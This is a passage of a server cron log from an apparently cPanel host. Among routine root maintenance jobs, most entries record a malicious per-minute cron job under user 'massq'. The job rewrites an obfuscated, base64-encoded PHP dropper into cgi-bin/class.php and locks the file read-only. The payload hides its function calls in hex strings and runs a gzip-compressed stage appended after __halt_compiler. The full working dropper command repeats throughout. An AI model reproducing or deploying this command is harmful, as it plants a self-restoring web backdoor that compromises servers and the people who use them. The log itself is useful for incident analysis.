GY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:40:01 server CROND[31376]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 05:40:01 server CROND[31378]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 05:41:01 server CROND[31539]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:42:01 server CROND[31609]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 05:42:01 server CROND[31610]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:43:02 server CROND[31661]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:44:01 server CROND[31707]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:45:01 server CROND[31862]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 05:45:01 server CROND[31863]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 05:45:01 server CROND[31865]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:46:01 server CROND[31975]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:47:01 server CROND[32030]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:48:01 server CROND[32086]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:49:01 server CROND[32150]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:50:01 server CROND[32330]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 05:50:01 server CROND[32331]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 05:50:01 server CROND[32332]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 05:50:01 server CROND[32333]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 05:50:01 server CROND[32335]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:51:01 server CROND[32458]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:52:01 server CROND[32517]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload > /dev/null 2>&1)
Apr  7 05:52:01 server CROND[32518]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:53:01 server CROND[32600]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
